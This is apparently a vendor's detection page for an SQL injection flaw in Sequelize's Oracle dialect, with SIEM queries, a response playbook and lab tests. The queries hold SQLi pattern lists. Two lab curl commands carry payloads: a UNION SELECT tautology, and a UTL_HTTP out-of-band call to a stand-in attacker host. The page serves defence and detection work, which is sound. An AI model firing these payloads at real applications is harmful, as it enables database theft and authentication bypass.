CVE-2026-69240

Sequelize SQL Injection via Oracle Dialect (CVE-2026-69240)

Collection Initial Access Last updated:

Detects exploitation and presence of CVE-2026-69240, a critical SQL injection vulnerability (CWE-89, CVSS 9.8) in the Sequelize ORM (npm package 'sequelize') affecting versions < 6.37.4 when using the Oracle database dialect. Improper neutralization of special elements in queries allows an attacker to inject arbitrary SQL through crafted input reaching Sequelize query-building methods, leading to unauthorized data access, modification, or authentication bypass against the backing Oracle database. A public proof-of-concept exists (GHSA-v8fg-2rw7-q452). This detection surfaces both vulnerable-version indicators (installed package metadata, package.json/lockfile entries) and runtime SQL injection attack patterns against Node.js applications using Sequelize with Oracle.

Vulnerability Intelligence

Public PoC

Affected Software

Vendor
npm
Product
sequelize
Versions
< 6.37.4

Weakness (CWE)

CWE-89

Timeline

Disclosed
August 3, 2026

CVSS

9.8
Critical (9.0–10)
CVSS vector not yet published
Write-up coming soon

What is CVE-2026-69240 Sequelize SQL Injection via Oracle Dialect (CVE-2026-69240)?

Sequelize SQL Injection via Oracle Dialect (CVE-2026-69240) (CVE-2026-69240) maps to the Collection and Initial Access tactics — the adversary is trying to gather data of interest to their goal in MITRE ATT&CK.

This page provides production-ready detection logic for Sequelize SQL Injection via Oracle Dialect (CVE-2026-69240), covering the data sources and telemetry it touches: IIS Logs, Azure Application Gateway, Syslog / reverse proxy logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Collection Initial Access
Microsoft Sentinel / Defender
kusto 
let sqliPatterns = dynamic(["' OR '1'='1", "UNION SELECT", "UNION ALL SELECT", "'||", "';--", "/*", "*/", "DBMS_", "UTL_HTTP", "SYS.", "ALL_TABLES", "' AND 1=1", "' AND 1=2"]);
let webLogs = union isfuzzy=true W3CIISLog, AzureDiagnostics, Syslog
| extend RawUri = tostring(coalesce(column_ifexists("csUriQuery", ""), column_ifexists("requestUri_s", ""), column_ifexists("SyslogMessage", "")))
| extend DecodedUri = url_decode(RawUri);
webLogs
| where isnotempty(DecodedUri)
| where DecodedUri has_any (sqliPatterns)
| extend MatchedPattern = tostring(set_intersection(split(toupper(DecodedUri), " "), split(toupper(strcat_array(sqliPatterns, " ")), " ")))
| project TimeGenerated, DecodedUri, RawUri, Computer = column_ifexists("Computer", ""), SourceIp = column_ifexists("cIP", "")
| sort by TimeGenerated desc

Identifies SQL injection payload patterns (Oracle-specific keywords such as DBMS_, UTL_HTTP, SYS., and classic tautologies) in web request URIs and query strings reaching Node.js/Sequelize-backed applications. Oracle-specific tokens raise confidence that the target is the vulnerable dialect path.

high severity medium confidence

Data Sources

IIS Logs Azure Application Gateway Syslog / reverse proxy logs

Required Tables

W3CIISLog AzureDiagnostics Syslog

False Positives

  • Legitimate application queries or admin tools that legitimately contain SQL keywords in parameters
  • Security scanners and DAST tools (e.g., Burp, ZAP) running authorized assessments
  • Search or reporting features that pass SQL-like fragments as user input

Sigma rule & cross-platform mapping

The detection logic for Sequelize SQL Injection via Oracle Dialect (CVE-2026-69240) (CVE-2026-69240) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for CVE-2026-69240 Sigma rules on detection.fyi

Platform-specific guides for CVE-2026-69240

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-08-09 Research depth: standard
References (4)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Oracle SQLi payload against Sequelize endpoint (lab)

    Expected signal: Web/proxy access log entry containing the decoded SQLi payload with UNION SELECT and SYS. tokens from source 127.0.0.1.

  2. Test 2Trigger Oracle out-of-band callback token (lab)

    Expected signal: Access log entry containing decoded UTL_HTTP.REQUEST payload; if a lab Oracle DB is attached, an outbound DNS/HTTP callback attempt.

  3. Test 3Detect vulnerable sequelize package version on host

    Expected signal: Process execution of find/node enumerating node_modules; stdout listing sequelize versions below 6.37.4.

  4. Test 4Windows: enumerate vulnerable sequelize in Node projects

    Expected signal: PowerShell Get-ChildItem/Select-String execution recorded in Script Block logging; output listing package.json files referencing vulnerable sequelize versions.

Response Playbook

Triage

  1. Confirm whether the targeted application uses Sequelize with the Oracle dialect (check package.json/lockfiles for 'sequelize' < 6.37.4 and the 'oracledb'/'@sequelize/oracle' driver dependency).
  2. Decode and inspect the flagged request payload for Oracle-specific SQLi tokens (DBMS_, UTL_HTTP, UTL_INADDR, SYS., ALL_TABLES) versus generic scanner noise.
  3. Correlate the source IP against reputation/WAF logs and determine whether prior reconnaissance or authentication attempts came from the same source.
  4. Review application and Oracle DB query logs for anomalous or malformed SQL statements generated by Sequelize around the event time.

Containment

  1. Block the offending source IP(s) at the WAF/edge and add a temporary WAF rule for the observed Oracle SQLi tokens.
  2. Upgrade the sequelize package to >= 6.37.4 across affected services and redeploy; where immediate upgrade is impossible, apply strict parameter allow-listing/validation in front of Sequelize query calls.
  3. Rotate any database credentials that may have been exposed and restrict the Oracle DB account used by the app to least privilege.

Evidence Collection

  1. Preserve raw web/proxy/WAF logs containing the full request URI, headers, body, and source IP for the affected time window.
  2. Capture Oracle database audit/query logs (V$SQL, audit trail) showing the executed statements resulting from the injection.
  3. Snapshot the application host and record the installed sequelize version, lockfiles, and running process arguments.

Escalation Criteria

  • ! Escalate to incident response if Oracle DB audit logs confirm successful execution of injected SQL (data read, modification, or out-of-band UTL_HTTP callbacks).
  • ! Escalate if evidence indicates data exfiltration, authentication bypass, or lateral movement from the database host.
  • ! Escalate to application owners and change management if the vulnerable version is confirmed in a production, internet-facing service.

Investigation Guide

Forensic Artifacts

  • > Web/proxy/WAF access logs containing decoded SQLi payloads and source IPs
  • > Oracle DB audit trail and V$SQL entries showing injected statements
  • > Application host package.json/package-lock.json/yarn.lock recording the vulnerable sequelize version
  • > Outbound network connections from the DB host indicating UTL_HTTP/UTL_INADDR out-of-band exfiltration

Tuning Guidance

Baseline legitimate parameters in your applications that contain SQL keywords (search boxes, BI/query-builder features) and exclude those specific endpoints or parameter names. Prioritize alerts containing Oracle-specific tokens (DBMS_, UTL_HTTP, UTL_INADDR, SYS., ALL_TABLES) since these strongly indicate targeting of the vulnerable dialect rather than generic scanning. Allow-list known scanner source IPs during authorized assessments. Combine web-layer detections with Oracle DB audit logging to confirm whether injected SQL actually executed before escalating.

Hunting Queries

Hunts for Oracle-specific SQL injection function references across web logs to surface targeted exploitation of the Sequelize Oracle dialect that generic SQLi signatures might miss.

Hunting — KQL
kql 
union isfuzzy=true W3CIISLog, Syslog | extend U = url_decode(tostring(coalesce(column_ifexists("csUriQuery",""), column_ifexists("SyslogMessage","")))) | where U has_any ("UTL_HTTP", "UTL_INADDR", "DBMS_", "ALL_TABLES", "SYS.") | summarize count() by U, bin(TimeGenerated, 1h)
Hunting — SPL
spl 
index=web | eval d=urldecode(uri_query) | search d="*UTL_HTTP*" OR d="*UTL_INADDR*" OR d="*DBMS_*" OR d="*ALL_TABLES*" | stats count by src_ip, d, host

Atomic Red Team Tests

Test 1 Simulate Oracle SQLi payload against Sequelize endpoint (lab)
linux

Sends a classic tautology plus Oracle-specific token to a lab application backed by vulnerable Sequelize/Oracle to generate detection telemetry.

Command

bash 
curl -s 'http://127.0.0.1:3000/api/users?name=admin%27%20OR%20%271%27%3D%271%20UNION%20SELECT%20banner%20FROM%20SYS.V_%24VERSION--' -o /dev/null -w '%{http_code}\n'

Cleanup

bash 
echo 'No persistent artifacts; clear app/web access logs in lab if desired: truncate -s 0 /var/log/nginx/access.log'

Expected Telemetry

Web/proxy access log entry containing the decoded SQLi payload with UNION SELECT and SYS. tokens from source 127.0.0.1.

Expected Detection

KQL/SPL web-layer rules fire on the UNION SELECT and SYS. Oracle tokens in the request URI.

Test 2 Trigger Oracle out-of-band callback token (lab)
linux

Sends a UTL_HTTP-style out-of-band exfiltration payload to a lab Sequelize/Oracle endpoint to validate detection of Oracle-specific injection functions.

Command

bash 
curl -s 'http://127.0.0.1:3000/search?q=x%27%7C%7C%28SELECT%20UTL_HTTP.REQUEST%28%27http%3A%2F%2Fattacker.example%2Fx%27%29%20FROM%20DUAL%29--' -o /dev/null

Cleanup

bash 
echo 'No files created; rotate lab web logs if desired'

Expected Telemetry

Access log entry containing decoded UTL_HTTP.REQUEST payload; if a lab Oracle DB is attached, an outbound DNS/HTTP callback attempt.

Expected Detection

Hunting queries and web-layer rules match on the UTL_HTTP Oracle-specific token.

Test 3 Detect vulnerable sequelize package version on host
linux

Enumerates installed sequelize versions in Node.js projects to identify hosts running versions < 6.37.4 affected by CVE-2026-69240.

Command

bash 
find / -type d -name node_modules -prune 2>/dev/null -exec sh -c 'for d; do v=$(node -e "try{console.log(require(\"$d/sequelize/package.json\").version)}catch(e){}" 2>/dev/null); [ -n "$v" ] && echo "$d/sequelize $v"; done' _ {} +

Cleanup

bash 
echo 'Read-only enumeration; no cleanup required'

Expected Telemetry

Process execution of find/node enumerating node_modules; stdout listing sequelize versions below 6.37.4.

Expected Detection

Inventory/EDR process telemetry shows package enumeration; vulnerable versions (< 6.37.4) flagged for remediation.

Test 4 Windows: enumerate vulnerable sequelize in Node projects
windows

Scans Windows hosts for package-lock.json/package.json entries pinning sequelize below the fixed 6.37.4 version.

Command

powershell 
Get-ChildItem -Path C:\ -Recurse -Filter package.json -ErrorAction SilentlyContinue | Select-String -Pattern '"sequelize"\s*:\s*"[^"]*6\.(3[0-6]|[0-2]?[0-9])\.' | Select-Object Path,Line

Cleanup

powershell 
Write-Output 'Read-only enumeration; no cleanup required'

Expected Telemetry

PowerShell Get-ChildItem/Select-String execution recorded in Script Block logging; output listing package.json files referencing vulnerable sequelize versions.

Expected Detection

EDR/PowerShell logging captures the enumeration; matched files flagged as running sequelize < 6.37.4.

Related Detections

Tactic Hubs

TA0009CollectionTA0001Initial Access

Related Techniques

T1190Exploit Public-Facing ApplicationT1005Data from Local SystemT1213Data from Information Repositories

Same Tactic: Collection

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